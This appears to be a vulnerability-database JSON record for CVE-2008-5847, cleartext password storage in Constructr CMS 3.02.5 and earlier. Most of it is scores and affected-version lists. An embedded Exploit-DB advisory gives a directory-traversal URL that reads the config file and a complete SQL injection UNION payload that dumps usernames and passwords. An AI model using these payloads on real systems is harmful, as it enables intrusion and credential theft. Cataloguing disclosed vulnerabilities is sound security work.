{"id": "CVE-2008-5847", "bulletinFamily": "NVD", "title": "CVE-2008-5847", "description": "Constructr CMS 3.02.5 and earlier stores passwords in cleartext in a MySQL database, which allows context-dependent attackers to obtain sensitive information by reading the hash column.", "published": "2009-01-05T20:30:00", "modified": "2017-09-29T01:32:00", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-5847", "reporter": "cve@mitre.org", "references": ["https://www.exploit-db.com/exploits/7529", "http://securityreason.com/securityalert/4868"], "cvelist": ["CVE-2008-5847"], "type": "cve", "lastseen": "2019-05-29T18:09:29", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "cbb2b567925885ad8e545be06f5f595e"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "509aa99da22fc3d30f300b2770e9ee85"}, {"key": "cpe23", "hash": "341e6d8e00ff1c08ca1c682c9df4e23d"}, {"key": "cvelist", "hash": "d9d61ae50041e0489a51921722af72df"}, {"key": "cvss", "hash": "a4e8ab6449ecd0e1c0804a2fa5b0ec9b"}, {"key": "cvss2", "hash": "36f33337430671153dd4edb6efab07ea"}, {"key": "cvss3", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cwe", "hash": "cc03f0f13c5b7a13cd38f730cca5a70f"}, {"key": "description", "hash": "4f2341c2d023395cc5f58f1f75ad39de"}, {"key": "href", "hash": "4a7a7bd150616f20aabb12b7ce6be050"}, {"key": "modified", "hash": "43dd24ddc80228cca727a2ae69707805"}, {"key": "published", "hash": "1f018b2881b859594e849a283aa957e5"}, {"key": "references", "hash": "4dd56a1e3f356a4b4fe71634fbee8953"}, {"key": "reporter", "hash": "444c2b4dda4a55437faa8bef1a141e84"}, {"key": "title", "hash": "0d94f42244a51afde4ffb87bff5fef1b"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "ec8390529c3dc64becfcade8f0e446c5b81fea137a629cddef657859c18f8934", "viewCount": 0, "enchantments": {"score": {"value": 4.1, "vector": "NONE", "modified": "2019-05-29T18:09:29"}, "dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:7529"]}], "modified": "2019-05-29T18:09:29"}, "vulnersScore": 4.1}, "objectVersion": "1.3", "cpe": ["cpe:/a:constructr:constructr-cms:3.01.2", "cpe:/a:constructr:constructr-cms:3.02.4", "cpe:/a:constructr:constructr-cms:3.00.0", "cpe:/a:constructr:constructr-cms:3.02.2", "cpe:/a:constructr:constructr-cms:3.01.8", "cpe:/a:constructr:constructr-cms:3.01.6", "cpe:/a:constructr:constructr-cms:3.00.2", "cpe:/a:constructr:constructr-cms:3.01.7", "cpe:/a:constructr:constructr-cms:3.01.1", "cpe:/a:constructr:constructr-cms:3.02.1", "cpe:/a:constructr:constructr-cms:3.01.9", "cpe:/a:constructr:constructr-cms:3.00.1", "cpe:/a:constructr:constructr-cms:3.01.3", "cpe:/a:constructr:constructr-cms:3.01.5", "cpe:/a:constructr:constructr-cms:3.01.4", "cpe:/a:constructr:constructr-cms:3.01.0", "cpe:/a:constructr:constructr-cms:3.02.0", "cpe:/a:constructr:constructr-cms:3.02.3"], "affectedSoftware": [{"name": "constructr constructr-cms", "operator": "eq", "version": "3.01.1"}, {"name": "constructr constructr-cms", "operator": "eq", "version": "3.01.9"}, {"name": "constructr constructr-cms", "operator": "eq", "version": "3.00.1"}, {"name": "constructr constructr-cms", "operator": "eq", "version": "3.00.0"}, {"name": "constructr constructr-cms", "operator": "eq", "version": "3.01.2"}, {"name": "constructr constructr-cms", "operator": "eq", "version": "3.02.0"}, {"name": "constructr constructr-cms", "operator": "eq", "version": "3.02.1"}, {"name": "constructr constructr-cms", "operator": "eq", "version": "3.01.4"}, {"name": "constructr constructr-cms", "operator": "eq", "version": "3.02.3"}, {"name": "constructr constructr-cms", "operator": "eq", "version": "3.01.6"}, {"name": "constructr constructr-cms", "operator": "eq", "version": "3.02.4"}, {"name": "constructr constructr-cms", "operator": "eq", "version": "3.01.0"}, {"name": "constructr constructr-cms", "operator": "le", "version": "3.02.5"}, {"name": "constructr constructr-cms", "operator": "eq", "version": "3.01.5"}, {"name": "constructr constructr-cms", "operator": "eq", "version": "3.00.2"}, {"name": "constructr constructr-cms", "operator": "eq", "version": "3.02.2"}, {"name": "constructr constructr-cms", "operator": "eq", "version": "3.01.7"}, {"name": "constructr constructr-cms", "operator": "eq", "version": "3.01.3"}, {"name": "constructr constructr-cms", "operator": "eq", "version": "3.01.8"}], "cvss2": {"cvssV2": {"accessComplexity": "HIGH", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 2.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "version": "2.0"}, "exploitabilityScore": 4.9, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "LOW", "userInteractionRequired": false}, "cvss3": {}, "cpe23": ["cpe:2.3:a:constructr:constructr-cms:3.01.1:beta:*:*:*:*:*:*", "cpe:2.3:a:constructr:constructr-cms:3.01.6:beta:*:*:*:*:*:*", "cpe:2.3:a:constructr:constructr-cms:3.01.4:beta:*:*:*:*:*:*", "cpe:2.3:a:constructr:constructr-cms:3.02.2:*:*:*:*:*:*:*", "cpe:2.3:a:constructr:constructr-cms:3.02.3:*:*:*:*:*:*:*", "cpe:2.3:a:constructr:constructr-cms:3.01.7:beta:*:*:*:*:*:*", "cpe:2.3:a:constructr:constructr-cms:3.02.0:*:*:*:*:*:*:*", "cpe:2.3:a:constructr:constructr-cms:3.01.2:beta:*:*:*:*:*:*", "cpe:2.3:a:constructr:constructr-cms:3.01.9:beta:*:*:*:*:*:*", "cpe:2.3:a:constructr:constructr-cms:3.01.5:beta:*:*:*:*:*:*", "cpe:2.3:a:constructr:constructr-cms:3.00.1:alpha:*:*:*:*:*:*", "cpe:2.3:a:constructr:constructr-cms:3.01.8:beta:*:*:*:*:*:*", "cpe:2.3:a:constructr:constructr-cms:3.02.1:*:*:*:*:*:*:*", "cpe:2.3:a:constructr:constructr-cms:3.02.4:*:*:*:*:*:*:*", "cpe:2.3:a:constructr:constructr-cms:3.00.0:alpha:*:*:*:*:*:*", "cpe:2.3:a:constructr:constructr-cms:3.01.3:beta:*:*:*:*:*:*", "cpe:2.3:a:constructr:constructr-cms:3.00.2:alpha:*:*:*:*:*:*", "cpe:2.3:a:constructr:constructr-cms:3.01.0:beta:*:*:*:*:*:*"], "cwe": ["CWE-255"]}

{"exploitdb": [{"lastseen": "2016-02-01T03:25:56", "bulletinFamily": "exploit", "description": "Constructr CMS <= 3.02.5 Stable Multiple Remote Vulnerabilities. CVE-2008-5847,CVE-2008-5859,CVE-2008-5860. Webapps exploit for php platform", "modified": "2008-12-19T00:00:00", "published": "2008-12-19T00:00:00", "id": "EDB-ID:7529", "href": "https://www.exploit-db.com/exploits/7529/", "type": "exploitdb", "title": "constructr CMS <= 3.02.5 stable Multiple Vulnerabilities", "sourceData": "Constructr CMS\nhttp://constructr-cms.org/\n\n- <= 3.02.5 \"Stable\" -\n\nmagic_quotes_gpc = Off\nregister_globals = On\n\n- Directory Traversal - Source Disclosure - Arbitrary File Creation - Etc Etc Etc -\nhttp://site/constructr/backend/template.php?edit_file=\n\nDb info:\n../config/config.inc.php\n\n\n- SQL -\nhttp://site/constructr/?show_page=\n\nUser (urlencode) :\n-0' UNION ALL SELECT NULL, CONCAT(CHAR(0),IFNULL(CAST(username AS CHAR(10000)), CHAR(32)),CHAR(0),IFNULL(CAST(hash AS CHAR(10000)), CHAR(32)),CHAR(0)), NULL, NULL, NULL, NULL, NULL, NULL FROM constructr_user# AND 'tBkML'='tBkML\n\"Hash\" is the password, not really encrypted...\n\n\n- Timeline -\nAuthor notified: Dec 12\nPublic Disclosure: Dec 19\n\n\n- Seasons Greetings -\n- http://nukeit.org -\n\n# milw0rm.com [2008-12-19]\n", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/7529/"}]}